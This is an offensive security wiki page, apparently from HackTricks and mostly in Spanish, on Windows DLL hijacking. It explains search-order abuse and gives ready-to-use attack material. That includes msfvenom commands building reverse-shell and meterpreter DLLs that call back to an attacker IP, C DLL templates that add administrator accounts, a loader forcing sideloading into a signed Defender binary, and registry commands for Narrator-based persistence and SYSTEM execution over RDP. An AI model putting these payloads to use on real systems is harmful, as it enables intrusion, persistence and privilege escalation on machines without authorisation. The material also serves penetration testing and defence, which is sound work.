Dll Hijacking

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Revisa los planes de suscripción!

Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información básica

DLL Hijacking consiste en manipular una aplicación de confianza para que cargue un DLL malicioso. Este término engloba varias tácticas como DLL Spoofing, Injection, and Side-Loading. Se utiliza principalmente para ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de hijacking permanece consistente entre objetivos.

Técnicas comunes

Se emplean varios métodos para DLL hijacking, cada uno con su efectividad dependiendo de la estrategia de carga de DLL de la aplicación:

DLL Replacement: Intercambiar un DLL legítimo por uno malicioso, opcionalmente usando DLL Proxying para preservar la funcionalidad del DLL original.
DLL Search Order Hijacking: Colocar el DLL malicioso en una ruta de búsqueda antes que la legítima, explotando el patrón de búsqueda de la aplicación.
Phantom DLL Hijacking: Crear un DLL malicioso que la aplicación cargue, pensando que es un DLL requerido que no existe.
DLL Redirection: Modificar parámetros de búsqueda como %PATH% o archivos .exe.manifest / .exe.local para dirigir la aplicación al DLL malicioso.
WinSxS DLL Replacement: Sustituir el DLL legítimo por uno malicioso en el directorio WinSxS, un método a menudo asociado con DLL side-loading.
Relative Path DLL Hijacking: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, asemejándose a las técnicas de Binary Proxy Execution.

Encontrar DLLs faltantes

La forma más común de encontrar DLLs faltantes dentro de un sistema es ejecutar procmon de sysinternals, configurando los siguientes 2 filtros:

y mostrar solo la File System Activity:

Si estás buscando DLLs faltantes en general debes dejar esto ejecutándose durante unos segundos.
Si buscas un DLL faltante dentro de un ejecutable específico deberías establecer otro filtro como “Process Name” “contains” <exec name>, ejecutarlo y detener la captura de eventos.

Explotando DLLs faltantes

Para escalar privilegios, la mejor oportunidad es poder escribir un DLL que un proceso privilegiado intentará cargar en alguno de los lugares donde será buscado. Por lo tanto, podremos escribir un DLL en una carpeta donde el DLL se busca antes que en la carpeta donde está el DLL original (caso raro), o podremos escribir en alguna carpeta donde el DLL será buscado y el DLL original no exista en ninguna carpeta.

Dll Search Order

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Las aplicaciones de Windows buscan DLLs siguiendo un conjunto de rutas de búsqueda predefinidas, respetando una secuencia particular. El problema de DLL hijacking surge cuando un DLL malicioso se coloca estratégicamente en una de estas rutas, asegurando que se cargue antes que el DLL auténtico. Una solución para evitar esto es asegurarse de que la aplicación use rutas absolutas al referirse a los DLLs que requiere.

Puedes ver el orden de búsqueda de DLL en sistemas de 32-bit abajo:

The directory from which the application loaded.
The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
(C:\Windows)
The current directory.
The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

Ese es el orden de búsqueda por defecto con SafeDllSearchMode habilitado. Cuando está deshabilitado, el directorio actual asciende a la segunda posición. Para deshabilitar esta característica, crea el valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode y establécelo en 0 (por defecto está habilitado).

Si la función LoadLibraryEx se llama con LOAD_WITH_ALTERED_SEARCH_PATH, la búsqueda comienza en el directorio del módulo ejecutable que LoadLibraryEx está cargando.

Finalmente, ten en cuenta que un DLL podría cargarse indicando la ruta absoluta en lugar de solo el nombre. En ese caso ese DLL solo se buscará en esa ruta (si el DLL tiene dependencias, estas se buscarán como si el DLL hubiera sido cargado por nombre).

Hay otras maneras de alterar el orden de búsqueda, pero no las explicaré aquí.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.

Key idea

Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.

Notes/limitations

This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.

Minimal C example (ntdll, wide strings, simplified error handling):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

```c #include #include #pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; –i) if (out[i-1] == L’\’) { out[i-1] = 0; break; } }

int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = L“\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe“;

// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, L“"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"“); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateProcessParametersEx”); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateUserProcess”);

RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here) return 0; }

</details>

Ejemplo de uso operativo
- Coloca un xmllite.dll malicioso (exportando las funciones requeridas o haciendo proxy al real) en tu directorio DllPath.
- Ejecuta un binario firmado que se sabe busca xmllite.dll por nombre usando la técnica anterior. El loader resuelve la importación a través del DllPath suministrado y sideloads tu DLL.

Esta técnica se ha observado en entornos reales para orquestar cadenas de sideloading de varias etapas: un lanzador inicial deja caer una DLL auxiliar, que luego spawnnea un binario firmado por Microsoft, hijackable, con un DllPath personalizado para forzar la carga de la DLL del atacante desde un directorio de staging.


#### Exceptions on dll search order from Windows docs

Certain exceptions to the standard DLL search order are noted in Windows documentation:

- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.

### Escalating Privileges

**Requisitos**:

- Identificar un proceso que opere o vaya a operar bajo **privilegios diferentes** (movimiento horizontal o lateral), que **carezca de una DLL**.
- Asegurar que haya **acceso de escritura** disponible en cualquier **directorio** en el que se **busque la DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.

Sí, los requisitos son complicados de encontrar ya que **por defecto es algo extraño encontrar un ejecutable con privilegios que le falte una DLL** y es aún **más extraño tener permisos de escritura en una carpeta de la ruta del sistema** (por defecto no se puede). Pero, en entornos mal configurados esto es posible.\
En caso de que tengas suerte y cumplas los requisitos, puedes revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es bypass UAC**, puede que encuentres allí un **PoC** de Dll hijacking para la versión de Windows que puedas usar (probablemente solo cambiando la ruta de la carpeta donde tengas permisos de escritura).

Ten en cuenta que puedes **comprobar tus permisos en una carpeta** haciendo:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Y verifica los permisos de todas las carpetas dentro de PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

También puedes comprobar los imports de un executable y los exports de una dll con:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para una guía completa sobre cómo abuse Dll Hijacking to escalate privileges con permisos para escribir en una carpeta del PATH del sistema consulta:

Writable Sys Path +Dll Hijacking Privesc

Herramientas automatizadas

Winpeas will check if you have write permissions on any folder inside system PATH.
Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack y Write-HijackDll.

Ejemplo

En caso de encontrar un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería crear un dll que exporte al menos todas las funciones que el ejecutable importará desde él. De todos modos, ten en cuenta que Dll Hijacking resulta útil para escalate from Medium Integrity level to High (bypassing UAC) o desde High Integrity to SYSTEM. Puedes encontrar un ejemplo de how to create a valid dll dentro de este estudio sobre dll hijacking enfocado en dll hijacking para ejecución: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Además, en la próxima sección puedes encontrar algunos códigos dll básicos que pueden ser útiles como plantillas o para crear un dll con funciones no requeridas exportadas.

Creación y compilación de Dlls

Dll Proxifying

Básicamente un Dll proxy es un Dll capaz de ejecutar tu código malicioso cuando se carga pero también de exponerse y funcionar como se espera, reenviando todas las llamadas a la librería real.

Con la herramienta DLLirant o Spartacus puedes indicar un ejecutable y seleccionar la librería que quieras proxify y generar un proxified dll o indicar el Dll y generar un proxified dll.

Meterpreter

Obtener rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obtener un meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Crear un usuario (x86, no vi una versión x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Tu propio

Ten en cuenta que en varios casos el Dll que compiles debe exportar varias funciones que serán cargadas por el proceso de la víctima; si estas funciones no existen, el binary no podrá cargarlas y el exploit fallará.

Plantilla de DLL en C (Win10)

```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(“cmd.exe /k net localgroup administrators user /add”); ExitProcess(0); } return TRUE; }

<details>
<summary>Ejemplo de DLL en C++ con creación de usuario</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}

DLL C alternativo con entrada de hilo

```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## Estudio de caso: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe todavía busca un DLL de localización predecible y específico por idioma al iniciarse que puede ser hijacked para ejecución de código arbitrario y persistencia.

Datos clave
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.

Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.

DLL mínimo
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

Silencio OPSEC

A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (OpenThread(THREAD_SUSPEND_RESUME)) and SuspendThread it; continue in your own thread. See PoC for full code.

Trigger and persistence via Accessibility configuration

Contexto de usuario (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
Con lo anterior, al iniciar Narrator se carga la DLL plantada. En el escritorio seguro (pantalla de inicio de sesión), presiona CTRL+WIN+ENTER para iniciar Narrator.

RDP-triggered SYSTEM execution (lateral movement)

Permitir la capa de seguridad clásica de RDP: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
Conéctate por RDP al host; en la pantalla de inicio de sesión presiona CTRL+WIN+ENTER para lanzar Narrator; tu DLL se ejecuta como SYSTEM en el escritorio seguro.
La ejecución se detiene cuando la sesión RDP se cierra—inyecta/migra rápidamente.

Bring Your Own Accessibility (BYOA)

Puedes clonar una entrada de registro de una Accessibility Tool (AT) integrada (p.ej., CursorIndicator), editarla para apuntar a un binario/DLL arbitrario, importarla y luego establecer configuration a ese nombre de AT. Esto actúa como proxy para la ejecución arbitraria bajo el framework de Accessibility.

Notas

Escribir bajo %windir%\System32 y cambiar valores de HKLM requiere privilegios de administrador.
Toda la lógica del payload puede residir en DLL_PROCESS_ATTACH; no se necesitan exports.

Estudio de caso: CVE-2025-1729 - Escalada de privilegios usando TPQMAssistant.exe

This case demonstrates Phantom DLL Hijacking in Lenovo’s TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.

Detalles de la vulnerabilidad

Component: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
Directory Permissions: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs “NAME NOT FOUND” if missing, indicating local directory search precedence.

Implementación del exploit

Un atacante puede colocar un stub malicioso hostfxr.dll en el mismo directorio, explotando la DLL faltante para conseguir ejecución de código en el contexto del usuario:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Flujo de ataque

Como usuario estándar, coloca hostfxr.dll en C:\ProgramData\Lenovo\TPQM\Assistant\.
Espera a que la tarea programada se ejecute a las 9:30 AM bajo el contexto del usuario actual.
Si hay un administrador conectado cuando la tarea se ejecuta, el DLL malicioso se ejecuta en la sesión del administrador con integridad media.
Encadena técnicas estándar de bypass de UAC para escalar de integridad media a privilegios SYSTEM.

Estudio de caso: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

Los actores de amenaza suelen combinar droppers basados en MSI con DLL side-loading para ejecutar payloads bajo un proceso confiable y firmado.

Resumen de la cadena

El usuario descarga el MSI. Una CustomAction se ejecuta en silencio durante la instalación GUI (p. ej., LaunchApplication o una acción VBScript), reconstruyendo la siguiente etapa a partir de recursos embebidos.
El dropper escribe un EXE legítimo y firmado y un DLL malicioso en el mismo directorio (pareja de ejemplo: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
Cuando el EXE firmado se inicia, el orden de búsqueda de DLL de Windows carga wsc.dll desde el directorio de trabajo primero, ejecutando código del atacante bajo un padre firmado (ATT&CK T1574.001).

MSI analysis (what to look for)

Tabla CustomAction:
Busca entradas que ejecuten ejecutables o VBScript. Patrón sospechoso de ejemplo: LaunchApplication que ejecuta un archivo embebido en segundo plano.
En Orca (Microsoft Orca.exe), inspecciona las tablas CustomAction, InstallExecuteSequence y Binary.
Payloads embebidos/divididos en el CAB del MSI:
Extracción administrativa: msiexec /a package.msi /qb TARGETDIR=C:\out
O usar lessmsi: lessmsi x package.msi C:\out
Busca múltiples fragmentos pequeños que son concatenados y descifrados por una CustomAction VBScript. Flujo común:

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

Practical sideloading with wsc_proxy.exe

Coloca estos dos archivos en la misma carpeta:
wsc_proxy.exe: host legítimo firmado (Avast). El proceso intenta cargar wsc.dll por nombre desde su directorio.
wsc.dll: DLL del atacante. Si no se requieren exports específicos, DllMain puede ser suficiente; de lo contrario, construye un proxy DLL y reenvía los exports requeridos a la biblioteca genuina mientras ejecutas el payload en DllMain.
Construye un payload DLL mínimo:

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}

Para los requisitos de exportación, use un framework de proxy (e.g., DLLirant/Spartacus) para generar una DLL de reenvío que también ejecute su payload.
Esta técnica depende de la resolución de nombres de DLL por el binario host. Si el host usa rutas absolutas o flags de carga segura (e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), el hijack puede fallar.
KnownDLLs, SxS, and forwarded exports can influence precedence and must be considered during selection of the host binary and export set.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Revisa los planes de suscripción!

Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.